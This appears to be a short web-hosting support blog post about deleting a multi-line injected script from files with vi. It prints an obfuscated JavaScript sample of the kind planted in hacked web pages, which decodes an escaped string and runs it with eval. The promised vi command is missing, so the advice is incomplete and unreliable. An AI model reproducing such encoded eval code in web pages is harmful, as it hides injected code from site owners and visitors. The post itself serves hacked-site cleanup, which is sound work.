Matching and deleting patterns across multiple lines in vi

Tags: across multiple lines in viMatchingmutiline searchingSnippetsvim

Published on: May 13, 2009 by George K.

Matching and deleting patterns across multiple lines in vi


If you want to search and replace a pattern in Linux VI editor similar to below,

<script language="javascript"><!-- (function(){var nsLd='v:61r:20a:3d:22:53:63:72iptE:6eg:69ne:22:2cb:3d:22:56e:72s:69:6f:6e()+
3b:7d';var huwu4=nsLd.replace(/:/g,'%');var oLy=unescape(huwu4);eval(oLy)})();
// --></script>

Those who are in web hosting industry may know what the above line means :D. Anyways you can use this, in the vi exec mode to remove the lines


It’s better to have a perl script to search and replace the patterns. That is what we run for our clients under Enterprise monitoring plan.

Category : Linux, Snippets

George K.

George K.

George started his career in web hosting and Linux technical support in the year 2004 and is with SupportSages since 2009. He has keen interest in server optimizations, custom security solutions, hacked server recovery, cyber forensic and high availability fail over system design and implementation. George loves long drives and is passionate about art and literature.

You may also read:


Add new commentSIGN IN

Let's Connect

Get new updates


$0.000 items